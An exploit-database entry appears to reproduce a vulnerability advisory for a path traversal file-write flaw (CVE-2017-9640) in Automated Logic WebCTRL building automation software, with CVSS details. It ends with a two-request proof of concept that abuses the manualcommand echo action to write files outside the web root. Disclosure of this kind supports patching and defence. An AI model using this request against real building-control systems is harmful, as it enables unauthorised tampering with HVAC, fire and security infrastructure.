Exploitalert - Database of Exploits

Automated Logic WebCTRL 6.1 Path Traversal Arbitrary File Write

CVE	Category	Price	Severity
CVE-2017-9640	CWE-22	$5,000	High

Author	Risk	Exploitation Type	Date
Anonymous	High	Remote	2017-08-23

CPE
cpe:cpe:/a:automated_logic:webctrl:6.1

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2017080165

Automated Logic WebCTRL 6.1 Path Traversal Arbitrary File WriteAutomated Logic WebCTRL 6.1 Path Traversal Arbitrary File Write Vendor: Automated Logic Corporation Product web page: http://www.automatedlogic.com Affected version: ALC WebCTRL, SiteScan Web 6.1 and prior ALC WebCTRL, i-Vu 6.0 and prior ALC WebCTRL, i-Vu, SiteScan Web 5.5 and prior ALC WebCTRL, i-Vu, SiteScan Web 5.2 and prior Summary: WebCTRLA(r), Automated Logic's web-based building automation system, is known for its intuitive user interface and powerful integration capabilities. It allows building operators to optimize and manage all of their building systems - including HVAC, lighting, fire, elevators, and security - all within a single HVAC controls platform. It's everything they need to keep occupants comfortable, manage energy conservation measures, identify key operational problems, and validate the results. Desc: The vulnerability is triggered by an authenticated user that can use the manualcommand console in the management panel of the affected application. The ManualCommand() function in ManualCommand.js allows users to perform additional diagnostics and settings overview by using pre-defined set of commands. This can be exploited by using the echo command to write and/or overwrite arbitrary files on the system including directory traversal throughout the system. Tested on: Microsoft Windows 7 Professional (6.1.7601 Service Pack 1 Build 7601) Apache-Coyote/1.1 Apache Tomcat/7.0.42 CJServer/1.1 Java/1.7.0_25-b17 Java HotSpot Server VM 23.25-b01 Ant 1.7.0 Axis 1.4 Trove 2.0.2 Xalan Java 2.4.1 Xerces-J 2.6.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5430 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5430.php CVE ID: CVE-2017-9640 CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9640 30.01.2017 -- PoC: GET /_common/servlet/lvl5/manualcommand?wbs=251&action=echo%20peend>..\touch.txt&id=7331 HTTP/1.1 Host: TARGET --- GET http://TARGET/touch.txt HTTP/1.1 peend

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